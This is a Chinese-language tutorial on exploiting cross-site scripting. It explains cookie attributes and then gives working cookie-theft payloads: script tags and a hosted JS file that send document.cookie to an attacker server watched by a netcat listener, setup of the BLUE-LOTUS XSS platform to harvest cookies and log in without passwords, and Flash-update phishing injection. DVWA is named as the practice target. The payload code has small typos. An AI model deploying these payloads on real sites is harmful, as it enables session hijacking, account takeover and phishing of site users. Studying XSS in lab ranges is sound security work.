05. XSS漏洞利用
XSS漏洞利用(上)
获取cookie
什么是cookie?
**定义:**cookie是指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)
**作用:**服务器可以设置或读取cookie中包含的信息,借此识别用户身份并维护用户跟服务器会话的状态。比如,当登录一个网站时,网站往往会请求用户输入用户名和密码,并且用户可以勾选“下次自动登录”。如果勾选了,那么下次访问同一网站时,用户会发现没输入用户名和密码就已经登录了。这正是因为前一次登录时,服务器发送了登录凭据(用户名加密码的某种加密形式)的cookie到用户的硬盘上。第二次登录时,如果该cookie尚未到期,浏览器会发送该cookie,服务器验证凭据,于是不必输入用户名和密码就让用户登录了。
cookie的组成
- **Name=Value:**设置cookie的名称和值;对于认证Cookie,Value值包括Web服务器所提供的访问令牌。
- **Expires:**设置cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭网页时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效。
- **Path:**cookie所属路径,只有改路径及其下级目录才能够获取该cookie。
- Domain:指定了可以访问该 cookie 的 Web 站点或域,只有这个域或者子域才能够获取该cookie。
- **Secure:**设置Secure表示该cookie只可使用HTTPS协议传输。
- **HTTPOnly:**设置HTTPOnly表示该cookie不能被javascript读取,用于防止客户端脚本通过document.cookie属性访问Cookie。
- **SameSite:**用于定义cookie如何跨域发送。
实验:获取cookie
方法1:请求带出
在VPS上开启监听,向存在XSS漏洞的网站插入代码后,可以接收到目标的cookie(base64编码格式)。
VPS上开启监听:
nc -lvp 7777 // 监听7777端口
XSS利用代码:
# 浏览器新打开一个窗口,访问指定的ip和端口,并带上了cookie
<script>windows.open('http://ip:port/?q=' + btoa(document.cookie));</script>
# 在当前窗口访问ip和端口
<script>location.href = 'http://ip:port/?q=' + btoa(document.cookie));</script>
方法2:访问指定网址并执行代码
在自己的服务器上建立恶意代码文件xss_getcookie.js
var img = document.createElement("img");
img.src = "http://ip:8888/?q=" + btoa(document.cookie);
document.body.appendChild(img);
然后在漏洞点插入恶意代码:
<script src = http://ip/xss_getcookie.js></script>
查看Web日志(默认路径/var/log/apache2/access.log),可以看到目标cookie
方法3:利用BLUE-LOTUS平台
BLUE-LOTUS是清华大学蓝莲花战队搭建的一个开源XSS平台,可以利用XSS漏洞窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。
安装BLUE-LOTUS平台
将安装文件放在网站目录下,访问install.php文件,默认安装即可,再访问login.php登录(默认密码为bluelotus)。
BLUE-LOTUS平台的使用
进入“我的JS”模块,选择插入“default.js”模块
将website修改为平台网址(https://ip/Blue/index.php,注意:是index.php,不是admin.php),命名文件并保存
<script>alert(123)</script> #payload
点击生成payload
将payload插入存在XSS漏洞的网站,payload执行后平台会收到cookie。利用cookie可以无密码登录网站。
漏洞钓鱼
漏洞钓鱼
利用XSS漏洞,可以修改网站的链接,让用户访问伪装成正常网站的恶意网站。比如:可以利用flash钓鱼。将项目源码放到web网站里,修改flash.js第10行的链接为项目的首页链接,然后在漏洞处插入payload:
<script src = http://ip/fakeflash/flash.js>
第三方XSS利用平台
使用第三方XSS利用平台
免费邮箱:http://24mail.chacuo.net/
XXSPt平台:https://xss.pt
实验准备
-
临时邮箱
用来注册XSS在线平台账号
-
DVWA靶场
利用靶场反射型或者存储型XSS做实验
-
钓鱼界面
构造钓鱼链接,或者钓鱼页面